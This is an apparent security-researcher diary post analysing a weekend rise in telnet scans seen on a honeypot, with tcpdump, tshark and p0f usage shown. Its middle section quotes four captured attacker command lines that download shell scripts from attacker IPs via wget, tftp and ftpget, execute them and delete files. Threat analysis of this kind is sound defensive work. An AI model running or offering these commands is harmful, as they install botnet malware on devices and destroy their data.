Update: I extracted a sample pcap. The target IP (honeypot) is replaced with 192.0.2.1. The odd thing about these connections is that they are not only all "blind", but they don't really send a password. Also, according to my version of Wireshark, the telnet traffic is initially malformed. Maybe a telnet exploit? click here for the pcap file 

Some readers noted that over the weekend, port 23 scans were up significantly. I just took a quick look at our honeypot, and don't really see anything significantly different, other then the well known fact that if you run a telnet server with default password, you are probably already compromised.

Typically, a sharp increase in the number of source IPs indicates some type of worm that uses vulnerable systems to scan for more victims after it infects them.

The main target of telnet scans are usually embedded devices. The exploit follows a pretty simple pattern:

1. brute force password (usually a well known default password)
2. Download additional malware via ftp/http or tftp (typically multiple binaries for various architectures)
3. run the malware, which will typically setup a client for a DDoS botnet.

The malware is very ephemeral, with the distribution point often being shut down by the time it scans our honeypot. Here are a couple of results from our honeypot, and a few tricks about how to deal with lots of data in pcap files.

The first question is: Is this traffic spoofed? As a visual check, we compare the before and after distribution by /8 network. The image shows some deviations, but overall the graphs follow each other and there are no huge discrepancies in RFC1918 networks or other obviously spoofed networks.

For the honeypot, I setup traffic captures collection 100MB pcap files with tcpdump (tcpdump -w /tmp/telnet -C100 port 23). On this very busy honeypot (it covers several thousand IPs), it took about 15 minutes to get to 100MB.

Next, lets take a look at telnet payloads with tshark:

tshark -r telnet -n -Y 'telnet.data && tcp.len>1' -T fields -e telnet.data | sort | uniq -c | sort -n

Here are some of the top commands:

------
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93. 186.254.152/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 93. 186.254.152 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 93. 186.254.152; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh

------

cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://149 .56.110.173/bin.sh;sh bin.sh;busybox tftp -r bin2.sh -g 149 .56.110.173;sh bin2.sh;busybox tftp 149 .56.110.173 -c get bin3.sh;sh bin3.sh;busybox ftpget 149 .56.110.173 bin4.sh;sh bin4.sh;exit

------

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192 .227.221.223/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 192 .227.221.223 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 192 .227.221.223; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 192 .227.221.223 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;

------

cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://208 .67.1.114/rv.sh;sh rv.sh;busybox tftp -r rv1.sh -g 208 .67.1.114;sh rv1.sh;busybox tftp 208 .67.1.114 -c get rv2.sh;sh rv2.sh;busybox ftpget 208 .67.1.114 rv3.sh rv3.sh;sh rv3.sh;exit

------

As you can see, they all follow the standard "pattern".

p0f can give us a quick break down of operating systems for the collected traffic. Pretty much all of the hits come from Linux. Out of the about 1 million p0f records, we got less then 200 that indicate an operating system other then Linux.

So in conclusion: Not sure what causes the significant increase, but I doubt that it is anything fundamentally different from what we have seen before. Keep your telnet servers contained (or turned off) and don't use default passwords.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn